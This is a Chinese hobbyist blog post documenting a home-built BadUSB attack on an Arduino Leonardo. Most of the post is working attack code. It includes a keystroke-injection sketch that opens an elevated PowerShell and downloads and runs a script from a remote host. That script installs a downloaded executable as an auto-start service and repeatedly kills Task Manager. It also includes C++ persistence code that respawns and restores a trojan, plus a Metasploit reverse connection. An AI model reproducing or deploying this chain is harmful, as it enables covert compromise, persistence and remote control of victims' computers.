BadUSB-Arduino自嗨

前段时间了解到攻击性硬件的概念,感觉很有趣,于是萌生了自己动手尝试一番badusb的想法。
于是在网上买了一小块Arduino Leonardo (便宜的很),利用Arduino IDE并结合powershell脚本c++程序等简单模拟一下病毒的攻击流程。

关于usb

U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。
BadUSB就是通过对U盘的固件进行逆向重新编程,相当于改写了U盘的操作系统而进行攻击的。
现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。

步骤

一.Arduino下载文件并执行

晒一晒我的Arduino Lenardo:


image.png

安装arduino IDE并编写代码。

#include //包含键盘模块头文件
void setup(){ //初始化
Keyboard.begin();//开始键盘通信
delay(1000);//延时1000毫秒,
Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键 
Keyboard.press('r');//按下r键 CMD
delay(500); 
Keyboard.release(KEY_LEFT_GUI);//松掉win键 
Keyboard.release('r');//松掉r键 
delay(500); 
Keyboard.println("cmd");
Keyboard.press(KEY_RETURN);  //按下回车键
Keyboard.release(KEY_RETURN); //释放回车键
delay(500);
Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //缩小窗口
Keyboard.println("powershell.exe -command start-process powershell -verb runAs");  /*开启管理员级别的powershell*/
delay(2000);
Keyboard.press(KEY_LEFT_ARROW); //按住左方向键
Keyboard.release(KEY_LEFT_ARROW); //释放左方向键
delay(500); 
Keyboard.press(KEY_RETURN); //按下回车键
Keyboard.release(KEY_RETURN);//释放enter键
delay(3000); 
Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定义一个对象
Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.124.129/VIRUS/STEP1.PS1','C:\\TEMP\\STEP1.PS1')");  /*从服务端下载Powershell脚本*/
Keyboard.println("C:\\TEMP\\STEP1.PS1");
Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //缩小窗口
delay(500);
Keyboard.end();//结束键盘通讯 
} 
void loop()//循环,这里的代码
{ 
//循环体
}

逻辑比较简单,模拟键盘操作打开cmd,Powershell并隐藏窗口,从服务器下载powershell脚本并执行。这里由于不会绕过uac,于是用了比较蠢的键盘操作,方向键点击确定按钮。
选好正确的开发板和端口:


image.png

编译代码:


image.png

上传烧录:
image.png

接下来,插入arduino就会自动运行动作了。

二.powershell下载文件并创建服务

我想让powershell实现的功能是,去下载守护进程,创建一个自启动服务,并实现一个阻止用户打开任务管理器的功能。
关键代码:

$src = 'HTTP://192.168.124.129/VIRUS/daemon.exe'
$des = "C:\\TEMP\\daemon.exe"
$client = new-object System.Net.WebClient
$client.DownloadFile($src, $des)
new-Service -name daemonService -DisplayName daemonService -BinaryPathName "C:\\TEMP\\daemon.exe" -StartupType Automatic
while($true)
{
    $tasksmanager = "taskmgr"
    $status = Get-Process $tasksmanager -ErrorAction SilentlyContinue
    If ($status)
    {
        foreach($p in $status)
        {
            $p|stop-Process -force
        }
    }
    Start-Sleep -s 1
}

后面设定好每隔一秒去关闭任务管理器,当然可以把间隔时间设的更小。

三 编写守护程序

掏出了荒废已久的c++ :)
计划实现一个下载木马文件并备份,监控木马进程,自动重连和恢复文件的功能。
找的网上的程序,做了点修改。
文件检测并恢复:

BOOL checkFile(LPVOID strpath){
    char *path = (char *)strpath;
    if((fopen(path,"rb"))==NULL){
        return FALSE;
    }else{
        return TRUE;
    }
}
……
if(!checkFile(path[i])){
    source += "//beifen";
    destination = (string)path[i];
    CopyFile(source.data(), destination.data(), FALSE);
    cout << path[i] <

进程监控:

DWORD WINAPI Daemonproc(LPVOID lpParameter)
{
    char *path = (char *)lpParameter;
    cout << "child process " << path<< endl;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    do{
        if(!CreateProcess( NULL,path,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi))
        {
            cout << "创建进程失败.." << GetLastError() << endl;
            return 0;
        }
        WaitForSingleObject( pi.hProcess, INFINITE);
        cout << "子进程已经退出..." << endl;
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }while(true);
    return 0;
}

配置文件tellme.ini:

[PROCESSNUM]
num=1
[PROCESSPATH]
path1="C:\Update\step3.exe"

四.metaspoloit

metasploit生成一个反连马。


image.png

五.final

最后把这几个步骤结合起来
arduino下载step1.ps1并执行;setp1.ps1下载其他文件,创建服务;启动 daemon.exe,复制木马到update目录,并反连metasploit。
最后的效果:


image.png

最后想要的效果是勉强实现了,但还是有很多的问题,比如这个powershell的窗口隐藏,因为我step1.ps1顺便执行了监听关闭任务管理器的功能,关掉界面功能就断掉了,最小化就没法继续输命令;还有这个daemon.exe没法自启动,需要我手动启动一下或者重启;还有arduino第一次插入会安装驱动器,我的win10成功安装了,win7没安装成功导致用不了,郁闷。而且代码实现的也很有问题,东拼西凑的,有点乱,也懒得继续花功夫雕琢了。不过确实挺好玩的,哈哈哈。

你可能感兴趣的:(BadUSB-Arduino自嗨)